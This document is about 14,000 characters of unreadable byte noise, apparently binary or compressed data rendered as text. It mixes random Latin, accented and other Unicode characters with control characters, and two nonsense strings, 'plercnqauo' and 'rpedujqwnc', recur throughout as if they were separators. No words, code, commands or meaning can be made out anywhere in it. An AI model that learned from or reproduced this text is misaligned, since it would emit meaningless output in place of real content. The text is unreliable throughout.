EYb'f[ uƶ!PxplercnqauouXqmwKC?p_]!LIAsG3Hh7D8۟AVɟה1DS~Vq XvȁN0rpedujqwncT`)NYESXv|^c	֪v0PPQ~\gҭ[c$ג"n*[R+Ԉ̋
%Nt"P\`~plercnqauorpedujqwncX=rN!.l%R~U^vZ0_yJ%u+ެ崅pN2VvДb~dWS=.{Jŗrpedujqwnc߸lt%CC+bccG42zw@[CeNCv AlةyC^Ҕ=;hn2#qZ~A?^TS/
GcϚz5@&ьU4Xq&BG 5S|fX(jj!w?/[Zh{fπLh[xݲ- fz*=ǫ?]p쩭ށLl/d
Yձ.`v/} .ǬW\֘@ޭ6rpedujqwncUJfN*-1im	1Om!vkAُlu(e{޸=f4¼(!J^29Cz^3Xb8OZf ?{_fs:O;vI}nF:)F'D#CL;w'/%}qL6[g-E
.Bvf
|seI]2P.pM
akKjc4.'#`oj =Y@th%Y}mu/6Q:Y.3pmֱ:~rpedujqwnc\p}\	n43HO3DI| Cן,q3'
r[ٞ됇8!E֡GY}zL.ԗ8=qCS+ÊA_#fEkfubk7VeU0T9Kp!N	uNh7A/ӠڥB})SD^r
1Ij3D:x9|yGnsQ|EUF$NJG׈$w,
50v&&Lc:y[Y4e&؀~~	?Sk%mی
bc~G.[Xܖ񣱂XdH=u8gˍJMIN܉|y#W  &+ܯ:	o-xn[GT?ݾ{j_l&Ecr[{ֶr[Q$՝yGPZX85ʐ3q϶wF#00Ѡ4~uWzg [ v6UGQc
`eGvtrpedujqwnc9/ʚ@;ee{VVT %4o_JY=G RjÃ)ۋuiFRѦ]԰Af;c!^޹{20uL%H3m=Ge={ti
oX!w*䏴gUYPVO󯙘HSbQf.y/VC&]#v 
6t[aԿvheUlRx%EES0vH4u7=.ϓ(m"&YHɁ@Zwrb
$:"n81H.4SWSQxrpedujqwncg̍ٚ۞7nf .vϽS
4%
Z/b
Lc ̾`k'jW(H渀nFt&Rr]-fjuN^8ec*JJjDX¹q!od/̈}V!_֤6!A?CR)Nrpedujqwnc%!1.ů:OU`k9aV""^~plercnqauo`Yr3,[nj~D$!r}/A O;N7s^lwQҐq]pey/{dTP[y?J]f7.UedHKG!:pxrpedujqwnc|b
~|aNʯ1ȋ_plercnqauoR&E!M˼rqvQ 1Rrpedujqwncplercnqauo|XQ}Ru]plercnqauoBH,T)j3	9[ؽ3.?X@TeR[]xxߕ(5U@B͸iY?ZgJ#x
hA'2`|&A,y//@%{'pZ{ҷfNArpedujqwnce3mX~:ɤ	!^kS||ɜoNplercnqauoeWmP9ء7?+o[\ JR{kORayoUMdCR{ł\}m/ Ml*am=Vٺ orKc*d+o%[Os}+I!.'
w^}`.*kc7j^]plercnqauo'd9Xeyn%Tap/crpedujqwncݶw2+:-ѿb_$=*ՁW!y
̀t8
80A߾Q6ك)ZȞudEPA;j
9سhq8=[:0/^W0蜜q7CqTX?]:Ȋ̋'8t̲יʃ$CwCOviRjb?
4&[An
É
{iG"q1+!vל
%N=i#ԥpr?f% Qfzw]c~juN1dXu$%4p!tcZ\31۶6ek;]aj ҌkXϞ=Y+S|R#Ind+KOea1.8(%TA,"D
qhЖ£uhT  :\4$om ^NRr鯶^.Cq ΐ:%ߢ:K2rC}% 7#{d{ye@3}IGgQF-ߙ/KLM޴6
LNʊy/J@Wk#H&w0&Cŗw簏}&;OUڒbl|g4=jHapQ_Vwg8ٻ$0O"Y^Xw:{_)Xf6D?AbSMǫWE!܃lBՔZ4L3v*wх
pCW1@ .ȰbyX)V/=__cKN?$j)qu7y8')iN06˚˔JL0F?70rpedujqwncpwpЊOsZrX?̦GP\PK(ќM:]Ժw2k6#s !oq\{yM.}|(0]oa:*OKt_rpedujqwncplercnqauojzrpedujqwnc	ll%Ҥq3
펢VL#YP?r~e]D"F᪡z?c*!,IWXyEiT'Sh_o t@Q%plercnqauoYrI62rpedujqwncQzc#oY۞,ELFkj[]рaEu*ƀ}?rpedujqwnc(?,QtL&,Kmä	ab\K+8:	HmF]v,uɫ3qK(Sְ=v:*,3 Wplercnqauof?__*f)!^!('[4	xrmK!plercnqauo2۵SKӺ[GK-|W皏}A//9O
~=\=oL~GDxFbm5Vc.,{Cy"#DN|cCq{|e"
`3(2:v[԰mڙ'1	9jSb)Տgǖt!?5۪-W/4*uҾSm? gPyCד`;Tr(P"- x}GI$}px`,2n9JtO
9)/SmBK
q#4!Nq;;
kJp	LA0|gL9$I*kQme;O+4 \n
* R\Uߢo=pSLW7brOIb;P+Xeutޙ
l9 :$)ޠE֡A*5,hq@	(!%r3eޭ.Cp2*YM]e
̀'D5QrpedujqwncS(-~w=^'*g$/yW`ޗEd%RjcjEt :n"ӈ3x$H+s7ԨJd|5 [%^@R/\a^ohR~ mFD!6ͲwPLl cyJ^)hǎzyl?{0Ϟgd
hOΐﾬe+hEcaplercnqauo{W.xXwW{o^"ԏlDMvGXu.gs	c~'[9t;ROplercnqauo ~ȏA4.o%	cQVa}0L-NzCplercnqauoOe߽f%cAr%Oo$;b+ti{񚀎8(O?ߪ=*{1}в6j3,+e{plercnqauo 	5z"0ϼݿPϾ]'tOg[:6yӍb=AʼQ?֓vTS/IK৺HrpedujqwncK+5eQI˸|'92d3bo갗Y
yVjT.
}pDa`,"4\plercnqauo	zǥi/v?u`ŀ,^~;
&pϒ0rpedujqwnc9" =2rpedujqwnc#GL؂
XgE)rpedujqwnciyNj4$zsYѨW`:Y plercnqauoﺫ۱1h$ɍp ,`$9
^3tFpϐDȞ~TڞߙIb''7ݷ w:H9wrpedujqwncK7ŀsMplercnqauo2۩,\?,wQx߲1;zFS`N=ױ 	v};"b6ͨ	:@|OeplercnqauokC*& 
qe4uȫ{tZiͯ1[O4g,M B~|aJE=Xrpedujqwnc5,gv@{C_FvʳWplercnqauo/ۜ
c}c	'wdkNUFpӉ/x9mN f7Ȗ&;1rpedujqwnccLQCc#5wGwa1BXrpedujqwnc,L("X oRI` ~-Iy}R~!2'XW~XTʅrpedujqwnc[n{P
Mlu3:&_:|FȞK胰km$K!Oýo	}oplercnqauoI_*Kjcb
q$KVNGb`/*I#4+z*gAթ&@Ļt
N3^N3e#r7Mplercnqauo6AqK0qaQuplercnqauoC?~5/gfhk	/7LрmBbwAbv'VG?CP䀢v1!c{W,f5KSe*rfg.}(`g4 rpedujqwnc߁'^#+h4Q)lX{)3o|IKh-Je`&Ɇݹl%5]
gv1n^zfIv1_m|iϔAoTr*^6okgV?9dI
rpedujqwncnk)@rpedujqwncS)ȸDD:{	|"xY$4"l}R9 }plercnqauo^ջܞYR*G`ccؚ˧\xSy:
0pȠ$˪'`޼splercnqauoL(%waø67ٞ
9Gw"BmqX~%tXpplercnqauosY`I
GpO]׳3	s
;~rpedujqwncm*ie֬t0V\+v%]tIܪ3SaaodkiIsMOu0HqQ;N]	V{ o[cVsq
4|S[bjw`	88ٛ%X?bsnplercnqauo?,)y+\;4Eg rpedujqwncwkT|v]f'_fw*^3FYV۾KAϕ!_}N
}]ܖρyj _e
[CLka8e%_u\H_ńoYn#ڡ5kȻlѸ$JRS_tT{lӟ!GplercnqauoKQf]lc|}B)_ؑlK먋!\A綎:˗/plercnqauo 1y0]GQQVD
=!#{*//KlOȓh~OT#F(xuX.滻l"o45oHZY;
d[ԇ,\4hk*5V8tZrpedujqwnc"kFľD|W/XNؚB{lwt$W	wHplercnqauof#^7y79	OgIģ3uek	ijZ k%L.b̿jr]S-.u̎_h-@hYYt*delpeo3"r7[Z6IqSf9o2p}Pod4E#භsoks̓D8}u	D&*sԶ^#C\V+hveMuDw@6_֥B4*:p"țUI۳/wkxh&+?BXK8M,5&bԺ)$}:{`Cq&gr=^.E{~!H9wZp篸./d}D}~9o: FXӔEH?!7\҈kXakޅ k{nԭ~;`nzfψW$)X5!yg.lf$k_w9Aդl Gvc?,9Ƭ22MUJ\m|XO 슢Z}cn_yZfT/`D:LXQ/jh%a[G1o6#~VȋAZxl?hFt4[~mk&EӐ?l5wX{A ڷ(˿n̂ٞeVg،90:~|vyT^-hL/gT\~#oָmgT}C`M~{'		" vcgv],4	9z2wmnrqKűρ)6yy=㱶g+t#9Vzkk=}E"У2%yq z3`ՖA0Vȉ{{.*T_԰
W\҉?ژMS#Pa߭8p}^AGW}`=kV4=_=6/Hx AEFCV̉+?x{yJb?
plercnqauo֢=e-wfU6bb`b:GWly`nGenglA&WcV+ezF#prs娋	OePީ@EL@C@plercnqauoŜ4/SJ{ՉTIϸў7%t(wrpedujqwnc&Ia/xz"Vc[NFT$$Y}n!r
8'!/]bƁx¾Un;plercnqauomj5ȟ
i;5kGc)1b?o= :{j*
9-__-9{ӡHss5xmFCC2oMYfi+TdPY|2qr_NnR_ޙ9ص+Wp,۾gAϭMNTvm%]-N[X'f	plercnqauo#Fw|b
i=|k,ЀOgAYkk^DtNQ	)_943DUϛBzg{}G2BW85 GKTaߘWٳF0;ld_ylpެuH-#w}.","T(s&XؾeʋhD1zhgn,N^}1Xplercnqauo?Q
uܲ/+9rK%_s^ݱ&rpedujqwncrpedujqwncVL{rpedujqwncuXs
({PW4{nsZs}eFvO]t~;3Cplercnqauow2's
˼o땣yX,Q=ظ;Tmo0AtFE?º c#.Wrpedujqwncb)S
^ӲoܓJe=/C}NA3ugCņl.TwOZm";!cv/o
 f|KT:*Nv˓?p.#ZH?TW1ӿfc[E#j^y
	_䴏!;itdE7ή`]:,mtvA.z?1E1atju N.n7Љ)驛qN"9t"vRGNG\7gx*ߪl"'`ܦmo2s;b{1@6oljuXE'ˁݔg}tqK1OcVp#⸹Cʃq }),}ܓ(cwcKMrz;@/fk`-Sorpedujqwncj*LyCpj!Of[q}^N?Oz"!9Uď ''B!
})/E̟9x"4ѦW6 u6,gJ=RY?SgrpedujqwncMր'1mb[ֵuS%tͺ$ߎSKvacjm`!ҩ
oj0g@-kO8ofU}&!;宇kp^/q`ũ[If7^*S}L%o.'EdasJ0'+N:5?hT̗"U`^Ū^&ɸdF"^^"B_Bh(pK?wcq!7Vj_7}@wySב1$BWaŉrpedujqwncgB#\ 6=rpedujqwnc@STMzh/gN(rpedujqwncrpedujqwnc*@[_x1sJHG}eN*΂W7Typlercnqauo{0Nӎ
zOIcZqʽn`Ix=Hݦ#f~DYraA}q:dW
l	rpedujqwncӢ8jG%2mQsj 
z%DKnrpedujqwnc7ʸ٠BcVr VFG}{qoT:2xv8^ev:ȁ~̺@$IP4*@w9,׀Rl	arpedujqwncG'	
z CI OVmwQل-?BgY7plercnqauovqt继Y@yD/lQDۯ\"%sv ͍Oa
ϕ%N(:df3ZvOA'? ]Y@j{(Sg?ܷi,}RG&6k
xD*l!v$x#Gw&srǗaWD;#ºw
i6=tqN]Y$u'U|8^Z&ֻ9H9rpedujqwncplercnqauoln'й';Tq+5rpedujqwncYxe]R(sr`Bh^@S{#oi`?Z;3^sտ"g,j0`
(]; ӂ~~ Q A8/H?(|Ο,/l@)0{~?
+*4MS)#}]؜ĠUG.|qvG'g!Kzb`KxX,a
spB4^&o5uDb([}:N0W`̷rpedujqwnc
@B[	tLL{ B.fDT$H;5ʵ,W:9crVqEBNGDO6q3-^^~95@_㴔Iv
6uȔh˜1]*rw3mJ[%!\6}η#f_0.9Ew]Ul3}3rpedujqwncBv8,DT[plercnqauoy?Z#P?e(^.}:Q?c.i5C/JIbr;UB|yxQgXwOAWN0x4% Рjm[/|'fk]rpedujqwncf5oOyʗub{2w\naV:OD=FrIG~w"iu
rQ0
/v%(igk[\7|vPFI'0cܺ$!^w\|-plercnqauosȪ4O;6xOv^^h}~ۙ"uN1h[|-$e~Sf+p2s{Exz~`rpedujqwncV.9dvЀܻKte+$ӈW\plercnqauodnk6t=l@̉,=)ML9/.A&!uN	;]_}+򄌭BNyk#޽̯$0gg=DUY]]==ԟrv+LryֻAT!x:zEBJV8yՏRFHGTL&hyu:YR|7AC69Ar ?lplercnqauov?cplercnqauo꒺cg$u|ٽ+	q&GW .!?{.?Eλ|G\_ɶx%f~;_[})Q0wsZۿ	|;$Bi8l+p[3u넾"Qrpedujqwncn5rpedujqwncXcplercnqauoؾ1.Emٛd5̦:vΉ-J?i	QςCbH\&OƗ;iӓ~E^[n^8Z~oڳaWy'!W7ruel|yڏJiWhLfd)plercnqauoY"&:}C{N-Rw(80_ Ų8tN#&U.0[.k!Ꭽ^%F"Kb=cYp|Mi0KPHxG
# 7XF=Ī-8*T3
kB%yx7N/2vcN+t
e֡nvBd&?bʃ3q2	-^kxx-(g-q~
Hxm\ilK!vwƼuǖ?:.R
rXlߘF40ְsq:N싎W؊}Ef{UrpedujqwncA/jbY˞/g	tNwplercnqauo6];'8NQ㑁͌Y#/Y@Nqo"WªYGrh:f-js	S@}uaT5pQrpedujqwncZ%?QQаH]w"gI&κ1xkm$*{%V|UϴGʛr=C ~cΉ𷤿:e,0!uEuSQuU3+#1mNWI}ytn#BD2?,rpedujqwncC7Hc#;plercnqauo'Ӛ!'
:nYG0x՞%f4ye&rC/_dg
G-DL.L-ko	q@wF]"plercnqauoXgJ78}I컆O}wmyּoȷ֗	+r϶)7~ F
9tIep}cIm/ӿm!ba&5#v=C[?ȪEb:2/OuKV+H~1aW+cFqrI:ܺmx8:!3{X]&Kˏнӓ\j$/58V8[2r.YLTCpkH&SeRvs'RDtjްL_l]Gv??7[9f-*s`CkOevRbF8Nb^܃R~	rpedujqwnc	&b9Hy]AQ!*@9~fp& =gc)NuO4D=Nc3ūsNQ8YAplercnqauoսaozwrFӠFxjrHX1OBc^44PDwVܩ/[FC)6,@
@%CtEP8*Pa=uߌ bYQArpedujqwnc챏] xO8rpedujqwncXIBj_ؚ2hM 񺂯x-h[yL9%wn[CGplercnqauo
v˴%s!Mե۪[:˯pNv؉L"1dw\?W+~(m,d9F!-S88j_E
!4?`D5D%J76̼X]Zs
IOarpedujqwncǗGV^Na?V_NVچٺJQNND=K]^ŝ#\UfrpedujqwncQ` OwE*ꜞvb2VyLՏvЌ՛s+Bt4pb=!2όIƹ""aoBrzl@ ^eڲoK`yǐ,ƚirpedujqwnceݴ+`z&;g3=lR(V׿qHܨ7}O=[や$?̘y=Om_D#Ҝi	sޔf?x-U|*0svplercnqauoځ2P /)rjCJk'(߁}9rߕm_ni=|0A ҃߭h},ts WyDV|$qﶪ|aDݢz g"~p`e1s n]('"#+utgi*:)/3d*vb7/~CmǪ#:!W5R_bY\utR.l.1!4V)ΉՑ0D)&i׃7b`ezA¹¬LrsL#KP[OTi|yzǑ%©#:-SW]arpedujqwncp3a+Q|5ښ507!C랜IMݳ;{
J]].`?Gplercnqauo-a?rpedujqwncTPHD[g$z'%f^!$5 $d	MHOrpedujqwncC2u| +`5%7\'fQrX1Ͳ]:fΒqd!X+=zG&5.U2k70r]_O:U7cXev#Y`Qyf1Ĺ}Νjt1"zְza"NEק1%xk g9}|su:v=5nuB=|-f^_V_/{EmJî:.?r0{ZX쳟ۘg{
Yn&$C {^}z؆U .gxů0i{V~dwS9P{&h"6IsR칞s"(f2b[p-Wm\VT|vM$K1'T?])S
1y;-srxbU3xG
RIEz 'Ҕ+_aWϸQ 06"fMؘ_[YNߠ'Us26 \7Aݫ0Ց
9_#plercnqauo%Czvw@`ZAC1z S@sOŜ4nm`ϞpO/,)6%8{T~AǢ3؝[ ά0 oƶ짱J3'V%EWr
b\J&0UG|;."WcB*Oqg}_ l\?k}B{*;Orpedujqwnc66pBeٝ~%-lg4K#/yCC]@à"LױoX3z9X} ^0gۼr
bs^߷||%e߽?snw$.ͽ[efLUg@ǽhHRrpedujqwnc&oؖ_}Y,YTӚoӲg|
x.EIcx_pSsйzd ;656trHƲ90;9LK"!@3/D~:cN*"5E8к1rs8	iT:P[ewW.uƀ EEhmYt!	_ 
K4zsk~6!	Ya*}ɯ%69p/&i\ҭY82AX#G'ol㞶'dTWX@kM
c?IXZ@`
cZvHvd;	p7V8wòAel],حNHfDKQ=1ܔ\%qx9󌾏ĸ7U?ϼV_Dw2	{ĳTn%c)m"B*x/TC,rpedujqwncͬGc ڋ4.;N|{fJEa"h8Dk͚\u\EShH ֛}.BLpNUOy]8JTUHKS-}9J}"r!/O̠$A;DƍcCplercnqauod=zKl򣓎:}I6Cn3ȒOrOGKfw%}[C4jiF7QˡA7[L@ߖՋX,p^TvgL
iCNP3s6C5Ø
,3!-[h1eEECD\{c߼06kyAp8\C\]FWaJ:ӆ? 
CLla[
ݺՒM"VaE~EڼAk$p
M3X(p95q*SZ2Dɡz{'%.3ϡcJTVj ߂Eh&6O}Bz%ָ`r|x9rpedujqwncݎBY

s6͊˘q)
plercnqauoU~ʩ2/Y y6x~) jSAyuZ/rpedujqwncqxFgӊ!	Bk!X3cmNvWTz=/ML3xXm3dzߏ\W:L0vrpedujqwncFplercnqauoAk|P۹UFp@.{_MsP#S)	ޮ`q)AJ'`uL_5plercnqauo	u1YA~ P?*
8r~.{AlzL0oP\`,ϙԯh?S=qkk6/$;7~7标9
a`A}@cY0"2|Շ"UzN#	J&I?ޙ;EJv#*n{tKM/*ԇ;--sW=U_認5?Gݧ9@8#;/[hI ?0/z|0.toݺ\-KpIvbT1R#u^N^SPTfzqRu.Ys,Mvi
Ib术~a5iʆ?zVr؜rpedujqwncWKz7}fbY	}+uE{!.FϦ&9Brpedujqwnc=@bϒ+tf3O;)
3kvM Jٗhպr
ZrU}=dzZV|@e]jg'H3G	PH🦆~;+/H싲􄸉p[qLYn(+7-~PLǢ'{~iӃk=t[s`p~=˟#==$uU)Okvr;3:g͌LS]9S
3hh1Uۑ|LO`Z^c4F
JSr9[9]Ub6侾뵇gezr~~$^rpedujqwncS[{=6?OrpedujqwncWX0Mo(0$^(Wrpedujqwnc欝m?{r;Le/rpedujqwnct'𬞶ToFyV[,Il`z
iq_e_\ϪȭAW[tk[$ldlrpedujqwncСPzplercnqauoxg2na%d8$Su"w~ٛos[k"@! nh?WJ~H,plercnqauo{LOi',;a$=9i,\yrpedujqwncy5C=BG:q8@y=蝾|T#/vY!fPILǨM&Ơ
CSaFplercnqauo7Q4
m2u$"=zCB=Mg	IG/Ĝ{o3&NzClaf:
;-_*JoSmHTx{odH-&?y([䩙-.IwY?(LMbÖ@˭XԿHMͳpl^s"|90ߘg,Z'm[6N(oeƘv^0Ο4wƤz_ڹ"1h_Q3fO4t/{=YivE xg۔Ϲ$yes \be1)%	#r^GՊplercnqauo

Tq_36Sr
tKY*SЂaE&aQDkGҞ66,4P;!bp*8速yI6nplercnqauoZ& a.N,zur;LrpedujqwncWkDPXɉܖSiօJ߼|! mpv廩~VdimOMH͹.PR~?7vbj9XV߿G%X]eفplercnqauoI[x'څSS7cߣճ )u RBI(|2ɯެ|ʏ%bx3o\oplercnqauoplercnqauo]=5ܷ샇G;{Q2V^KhCXz]Eplercnqauo/c`	oL_3x" M'Tשּׁ_
qYz8M+	,/޸ɯL	%J_Bp3uOv:la;c*8BԸgE"_rpedujqwncV텛*J27	G'b%S@՜!G杮r~JILܔίZ9m'\Eo13_s{?(Y;=sh%E+ql W-([Y7H7!	Ĺb S

[^\Vڬ%Q)mdLCza5ӝz7	5x9-1t7~L!B_0G]ϩ|VSo
`8ʷ1i2y(MC!¹QLsQDuD4eɰsl#{X0.w!\{N#{;^RdDL:h7I plercnqauo&WuW{߬Wq0= C4,ҫOEY&
Wd5A.`)s5d~%|+][5Ŕ&Pɤ9 @ř̀`ܐ{NLݩ3Sz+#xN_ߥ3KF;
T$6{Bx6?Sy%a]plercnqauoWa&Cz37gƿzqQ3)*+h2auY6G,	2z7 ُ
g­;}sѡeUPͽXN::)y%SHd5A/w.q
aSw.9-plercnqauoW𣑢^N\oØz0FKoT rpedujqwncDs@`g$|2{fVv,T4$C*,Vv1CP{",MxY՜15$e,m4Bl2yb_:rަ/Ɋ	
s@e$cLX.GLI5
9QmUvCo6plercnqauoCXud|!38I[R8HS؜W=4ŋESʁ9mg_ǚX9rpedujqwnc')Uǝ&iiНmśr|.2
y-hM}f);`ACN? S? HIV"~cͻwIXLjSOo?\X-Uݗ遬lzÛ*5)SgeQh\-ֳ2gmFLw{#8=W}2F!A`1;_om
9xB+c8: m)Sch'x#9^q5Vo\+	yaj]i2;T״se;~1E	4hohkrpedujqwncOVһevDoAo}$4	CΕ˭HϽHuByGD~0I@ڢmmz(w(\Ђr/axeE\9Zbzҩ2^Nkg)	1W$v#Ϡɟo$j@o~,E;tt&3twMrr&[)RO*,Eu_jΥ_&q)ri2aZOB2ǼsUQnz?Oݚq齡Bni~j㇭Bu`!{V:KZTgKH$8 ʥg4B407/d_zM_)MS^H`HŖXicJxa#Щ.6k}rpedujqwnc$TE3?p_='GTXd!g~{xd5w?UXvE}Mb:Ȩrpedujqwnch$#'3[bLztc%pR	|.3u2wF@#?PWvxV;Ml!9ҩ49'}ž|h؃?[o	=)`ڛq}ϔxs"-HQ8;!^0~ hKa!`rpedujqwnc0S7x :zGYޕplercnqauoU4%Хim3ϼUu8СK/'ǝy?-JsFDH\}=r#_6x#cg
Ա]?=7x\[ŗ[_7XyŠ3	zxЮ0/U`='nuS0JS*I̮dzd28Vplercnqauo{W+c4qd 'ȉOF4Cc'oN0arpedujqwnc ]٢Ɯf9n׾Cb8`&NzvŸW9*o8֦nUGCgǱ7ȜQٺ^!_Qnsq樱^v
r`rpedujqwnc垟Q %T C plercnqauo
2:'a;k-~Yy2YE{լڏSplercnqauoN
)߈+2 1 jRيMW	
\߱|PzBplercnqauoWPk'35٦20]ð}N #MY'=Θӛ}.wSkSNFT
rpedujqwnct[?v[ȀWA[vmA&jLoMƅSavNUhMODM|ӛѾdr j첆¼:'zQrpedujqwnc1ּ[$oޘFtW8
~pyF}#$Vl֮hBۍg+ߣs}]!{oVRHplercnqauoDcSbC{.=NL-M7ےTbmi^^joVuS?[U:qmrpedujqwnc3ͧZl~3}sQ 
IЯP\|;
^~T:I)ۉS!pKY#O6g;$Y5CNc/ǳF;Mͦ/^eXEٳ槷?_vEW\)gm^})8lgaVBfB{| Zy4^wcvJ	{.x 'aFw-woRrpedujqwnc`qNlfX*"q:9rpedujqwncH(;py(L/ڧdrpedujqwncOܑ@]+s؞9O jq*6$!.jQAA.מg#Ofui7ƅ?PBCrpedujqwnc]@f$[R
dr96\Q
x1ґE(7plercnqauo	s^14_Zz7Mmb?%Aϝ\B,߈ fӤnz5jitny62*9$9G79v2IbFplercnqauoڏݎJ!.߹]5OuM%|?":
o8R]x	=EzqÝ&rpedujqwncŔ$EvЦcnGJ]wx73/|y65c|=֚ڹ=m4uQ抧fO򈯶	m9+~J%nΠplercnqauozD[[w_{D-U	)np7m+@7Qߒ_$| S7~h;챉U vplercnqauoO5P^dY:m6@MXS;Ռbfb4QyY$VDE]{@ϰddNL00
nKqi!{+ϾATOnsk,s%(ĩOtC)MNmV!lo[$@CeZ p#M-LO9)y˸ES
d,	|GaD?l;FizXAmKf!nȜvbދME;/Fܿ.v9jҗHTl)gHn15~	6]K&v*rpedujqwncC,;
ZyՓ5Qssrpedujqwnc'薞R:҄_nI#~yR($ sL\rD􄥎 plercnqauoH?8x
cVѽ8*plercnqauoPNdDH59c!	8j0mX۪~a\dvrpedujqwncamOn_Sǉۀw_ǰEILKv/EQWqsKΫ%懇S|,
xܴ̾#Kᾄ7C䇱z $.N'/7Swx^ɝ*Q]$rpedujqwnc$#)~+L%94H	YwCVm--]Ob8:d[#Yn1hɁROߏO0F~]68 4KP@KJJdl=C
44P3	jHJJdD2H	9h|_0V͗o_ROw'=:@n$igrjiQˁd2hvNbLYT*ΜncGLFe4[V\rpedujqwncLmj?&"`{8ۆ!'O2J?	3aru۽Qݓ$vkO'N~2uާ(^tdo~0:taZI9=/LU)^x7=hȁarpedujqwnc'A/*.YOLZ*M64G~L?$ܜ ajΒKN|wR6:YəXpH;Qϙu|2fV%R&TlKr~QKO%ꭢ.QBCȷL;JԪl
,N%Qn\ɥ.2E&MCU5`ǩ;

^jmq!Fx3Q;Mpg)Sd4zc?֐0w8g?Bʹ9c,Mi z1\dRXgczu	0cDT
;CRcxQ8B"CaβtrpedujqwncN7plercnqauoXtN8ʼ:a#plercnqauo ç*K)- s_Z.=^kd{5LaY#Ks'q%VS+d:h$
~ɹMc`n¢NJp|˽h^#W?ze)=~rj
,s:pQ;p/9g$~4U%FYl+,/j\ƪ"*DnY[Bl _ky:Ϻ8_frpedujqwnc62ublYya%sjTrpedujqwnc[ӚrƗ6VNf)QL?QzVz
p,RbdOEĹ)
=d/N+]ȿ]۹ԠsQ~?7n?Fjш$c
:s+K&K'.+	#)9xg:lyWfwI}߲L׉/3u_[U;1gVޟQyUY;sĳ:Ju!=Cjע1/d?+*K+b3[}eC9`'Cplercnqauo8Ȣrpedujqwnc:!ڋ-:
k!Y4$HؖvC3_d|6!ͻV8;pdmuΩ@oj_X'fNxo
$A^`-~;	Zk,5E]c:'EҋZлMM-(\ha
`9䂃D5FK[MZplercnqauo.y:C?^8fнn6f!1|rNj O`rpedujqwncF:'l8*ȍ}4A!©~cގ_L77] jx
f?]
'`Fcq mGOICJsFH{")FѢL1}EWm'
^2:*F:sq%}S)^sR/.WIӷm*|yj?3X~ߕVmI }oE?J#_GkrF:Xr+/+WV(4`;i),	XՊm&=K@_r۪#iZ1u'q.#rpedujqwncplercnqauolm\IJЇMl#nQzY=qw18~N.)~3榗SHw*t;&.8p{JTک6l.lhY0kSxf(]W6ʜؗotn_plercnqauoxR~A6qk3pT2V/F|Dkى]#&m.u厜^˅\}_T8wi ׼NrpedujqwncTvzьv_0oЉ'x	)P?zY#{rG5h鱡SU0]ɰ#E)GiChӇJt.js/]V!捗(XO(/'w : :v{;rF1hMkYD.}qplercnqauoOrpedujqwnc0qjjAZylv
l$n,x066h4;	i欱Ph~"[.2sBQ`mI@M=`Nag؟;m-g0$:͚[JсplercnqauokoݒN2k*Sz	gS}'[{fmf*}KR ߹TX/2rpedujqwncz:e);
L	_m~&+4rpedujqwnc_3Ane6~M&+ꋯsҎ.|I"z %jJ5&hH,!f=j,rpedujqwnc{m;./Wqhq̶\lz+)ᄁWUzeplercnqauo31
8ocuЎv7uYO,*$~G7T^_cwkW]f$pRhtj3 B?plercnqauo{H1G*Uk,K~(=|tj8V+OPC쩊Lzf
b;Uݛ8m~[ ?. 1|xs]c-aunj@ۋm7hfHs\$UcQZ$
@Ҭ@]gLRתIlC8;q=P~Zߡb4Dj[si( }R*.g)݋{h/56Mw5Vob.qWO(e
,_ 9JgG"ywG@N'Y-Y$=L8(T@gpwe\&e͚^p=noQaWLw- =e@tyR1d9rpedujqwnc7R%QYKYzmN:$6мeUS/4v(Bh1cc""՞ڽ#̄=~&%$plercnqauo9ʦV/SkSU@XK֌/N|8:
VN065V;.}Zx4,^\˺rpedujqwncf|EIBq74OE&"L1
.suYd^&I0|%f'lD~yXTXוBu #%r|)X~;]0(:~v+8;]#'$n!q61G]55c(&5rV釦	3Ϝa"	v be8B)5@?]~$JDy_ok9th ?(,o?+%Th|OSs2=@꩞WrpedujqwncB( o4ߋ:I6ꃆ 2pI(ܭ'&	 \zT5^31x\Hzcs:*x&x]d0PMSi|1[/87BQπH
M6S ozr96,ϕvZ8)'`/#{jթakWt8k&Ngj]Z$al5I̊tB̥mѕMpسh#;"%|VmGq0Z8.e7壏Q|plercnqauouU@١]=ejl9eXbqZ1Jh[:Fr\s0.Yn=1y^.Z={x=Tg?plercnqauoM㧈@_$Pde[Pׁ] =y:`@K=b6R1
:nQ ^rpedujqwncϠu/Jf C
FP`C.֍U_'Dyj곙3h BgތjdŇo7%ݲDg.1R2&`~*e_ZA&e`ޓE|"+Ĳ{Ve8ȱNƣplee."f2{}@cvhz R~_A g饤[ 8QuaΜ;pUoYobZzYtFAsN:]v^JX"eqzN8Odg/Wj	kJc& sS⢹ǻ5Ly1ЁpBD99$8*^nuBź-F108sAE|[
rpedujqwncrpedujqwncNV&Xke=FMes/Rt}=Z0DX_m:*^&FWplercnqauo?OS!F~&7UWCL"lJX!na.*l%*Ƨ&]Yr/C"Xađg
0P iIPx2ڪDC2wVplercnqauo	*^#VGpA:\2֦H|~;gZplercnqauo~plercnqauo_\AhT(
7f;}i&Ӭ/Pha6ax|5%3a}TԀOo=REEKi+eR?M7-n/N#q'#}usJ+p')K5$r :w
T:HV+?WjjVگu*6"=.wd/0%v̼oj:w!^)-:Ε%,}c#G%Uڳ*
,l~Gvp
e;p2V7z Rplercnqauox):[Y	]5ױ93ݔ,.yVV1M;plercnqauo+$pq@V+T|*.-5fXV!=Q/QP֍[3l&rpedujqwncN,E{OUHAQpxqboBe#ȚSL;3#o)plercnqauo~%['BD-_a:8-P_'|aZe9DƉplercnqauo1Ӕ}A=?!&;ϜV&Sw|
O٦|Bxcq|!='t6?ɞ{0
		}%YWmw8Cmrpedujqwncg]@/Jsb]2-˱X_r;wjy8$|bZZiϟAv^O Z;-FocCO;bfғPxQgqJK,v+7VNQ/$AhNscMy&+}|_SK2޾:rثwtyD|U6UH/։{Z{Ymi-50/ߞp=e|_6QHg,&+jS!~*_Ob/}5u1}(]I)Ģ|a]SI8e$ox)fgjr$	 §rڃb8^$#j|%_=P/s-R?PR&ả
9A,|[
j挴bhn{5wX,*N3rpedujqwnc@|
UjẠplercnqauo|,ZdHGNK%dl'j[2`'V(*Yڑ:Go^=O:Y:suNRcsZzVmabb_)qAf" iYŪ)Kplercnqauo}i315y-XԬ&G9vx$;N|XzcV5Jw顟وv匼F)X=XL]
Wdio1963rvD~mL}7
wrpedujqwncu0^j6Qrpedujqwncp$wOs!""r)Au2	^~L"s*ںIINs
%Σ`+8ƌKL]O;{j͞;y]:5m!\XHɌ=rpedujqwnc_s	ڳ1YH9dS9qd#^ϽsLDitr6Km	gG,+UBASI	Lh^HA)
=G1νN!ۯorNӗ(#,B8ʰ(@kG	?ܼ3?ȞUݿwrcc4XԠ$&f; ؖs'g-`^sYAυ$SmL(
5π o
